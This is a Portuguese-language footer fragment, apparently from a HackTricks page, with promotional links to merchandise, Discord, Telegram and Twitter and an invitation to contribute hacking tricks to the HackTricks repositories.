* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
Loading…
Reference in a new issue